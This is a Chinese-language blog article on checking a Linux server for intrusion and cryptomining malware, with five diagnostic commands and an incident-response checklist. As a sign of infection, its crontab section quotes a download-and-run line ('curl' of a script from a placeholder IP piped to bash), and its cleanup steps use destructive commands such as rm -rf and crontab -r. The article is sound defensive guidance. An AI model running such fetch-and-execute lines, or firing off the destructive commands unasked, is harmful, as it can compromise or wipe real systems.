服务器被黑了吗?5个命令快速自查(附应急清单)

服务器被黑了吗?5个命令快速自查(附应急清单)

你发现服务器突然变慢了。不是业务高峰那种慢,是莫名其妙的卡——SSH敲命令要等好几秒,网站打开转半天,带宽监控曲线像过山车。

你开始怀疑:是不是被黑了?

别慌。被黑不可怕,可怕的是不知道被黑。今天给你5个命令,5分钟快速自查,让你心里有数。


先看一个数据

根据某云厂商的统计,超过60%的服务器入侵事件,在被发现之前已经持续运行了30天以上。也就是说,黑客在你服务器里住了整整一个月,你都不知道。

为什么发现不了?因为很多人不看监控、不查日志、不跑自查命令。黑客利用的就是你的“不知道”。


5个命令,5分钟自查

打开终端,SSH连上你的服务器。一条一条执行,看输出。

命令1:top — 看CPU,挖矿病毒藏不住

bash

top

看CPU那一列。正常服务器,CPU使用率应该在个位数或者十几。如果某个进程持续占用90%以上,十有八九是挖矿病毒

重点看

  • 进程名是不是随机的(比如[kworker]伪装成系统进程)
  • 有没有不认识的进程排在第一

反常识点:有些高级的rootkit会隐藏自己,你在top里根本看不到高CPU进程。所以如果CPU监控显示很高但top里看不到异常,说明可能中了更高级的东西。


命令2:last — 看登录记录,有没有陌生人进来过

bash

last

这个命令会列出最近的登录记录:谁、从哪个IP、什么时候登录、登了多久。

看什么

  • 有没有你不认识的IP
  • 有没有凌晨3点、4点的登录记录(正常没人这个点登录)
  • 登录频率是不是异常高(可能在暴力破解)

同时检查一下/etc/passwd有没有陌生用户:

bash

cat /etc/passwd | grep -E "/bin/bash|/bin/sh"

只显示有登录权限的用户。如果不认识的用户出现了,赶紧删


命令3:crontab -l — 看定时任务,黑客最爱藏在这里

bash

crontab -l

再看系统级的定时任务:

bash

cat /etc/crontab
ls -la /etc/cron.d/

为什么看这里:黑客为了让病毒重启后还能跑,99%会加定时任务。比如每天凌晨3点从某个服务器下载恶意脚本执行。

如果看到curl http://某个陌生IP/xxx.sh | bash或者wget之类的,基本可以确定被黑了


命令4:netstat -tunlp — 看端口,有没有暗门

bash

netstat -tunlp

这个命令会列出所有监听的端口和对应的进程。

看什么

  • 有没有不认识的端口在监听
  • 有没有进程在连接陌生的外网IP

特别是看到连接矿池的端口(比如444455557777)或者连接到xmrmine相关域名的,肯定是挖矿病毒

高级技巧:如果怀疑有进程在疯狂外连但netstat看不到,可以用这个命令抓实时连接:

bash

ss -tunp | grep ESTAB

命令5:ps aux --sort=-%cpu | head -10 — 抓CPU最高的进程

bash

ps aux --sort=-%cpu | head -10

这个命令直接给你CPU占用最高的10个进程,比top更适合脚本化检查。

拿到PID之后,可以查这个进程的详细信息:

bash

ls -l /proc/PID/exe   # 看执行文件在哪
cat /proc/PID/cmdline # 看启动命令

如果执行文件在/tmp/var/tmp/dev/shm这些临时目录,基本就是恶意程序——正经程序不会装在这里


如果发现问题,怎么办?

第一步:隔离(别让黑客继续搞)

bash

# 临时封掉可疑的外连IP
iptables -A OUTPUT -d 恶意IP -j DROP

# 或者干脆把服务器的外网网卡down掉
ifdown eth0

第二步:杀掉进程,删掉文件

bash

kill -9 恶意PID
rm -rf /tmp/恶意文件

第三步:清理定时任务和启动项

bash

crontab -r                    # 清空当前用户的定时任务
# 手动编辑 /etc/crontab 删掉恶意行

检查开机启动项:

bash

systemctl list-unit-files | grep enabled
chkconfig --list | grep :on   # CentOS

第四步:改密码!改密码!改密码!

重要的事情说三遍。改所有密码:

  • root密码
  • 数据库密码
  • 网站后台密码
  • 如果有SSH密钥,重新生成

第五步:如果实在搞不干净——重装系统

被黑之后,最稳妥的方案是:备份数据、重装系统、恢复数据

因为你永远不知道黑客还留了什么后门。重装是唯一的100%解决方案


挖矿病毒的特征(重点记住)

根据安全厂商的分析,挖矿病毒有几个典型特征

特征说明
CPU 100%挖矿需要大量算力
进程名伪装[kworker][httpd]等,冒充系统进程
定时任务每小时/每天从某IP下载脚本执行
连接矿池域名带xmrminepool等关键词
文件在/tmp恶意程序喜欢藏在临时目录

记住这些特征,下次看到一眼就能认出来。


一张应急清单,存手机里

发现异常时的处理顺序

  1. □ 断开服务器网络(或防火墙封IP)
  2. □ top看CPU,找到可疑进程
  3. □ ls -l /proc/PID/exe 找到文件位置
  4. □ kill -9 PID 杀掉进程
  5. □ rm -f 删掉恶意文件
  6. □ crontab -l 检查定时任务并清理
  7. □ last 看登录记录,改密码
  8. □ 检查/etc/passwd~/.ssh/authorized_keys
  9. □ 如果清不干净,重装系统

把这9条存手机备忘录里。哪天半夜被电话叫醒,打开照着做。


最后一句

有个朋友,服务器被挖矿病毒跑了三个月,他愣是没发现。直到收到云厂商的账单——流量费暴涨,因为病毒还在往外DDoS别人。

他后来跟我说:“早知道有自查命令,我每个月跑一遍,也不至于多花几千块。”

服务器被黑不可怕,可怕的是不知道。每个月花5分钟跑一遍这5个命令,你就能睡个安稳觉。

把这篇收藏起来,下个月的今天,记得跑一遍。

知识库

一眼看懂网站访问情况:GoAccess日志分析实战

2026-4-9 15:31:03

实操指南知识库

云服务器日志管理与分析

2024-11-14 16:38:37

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧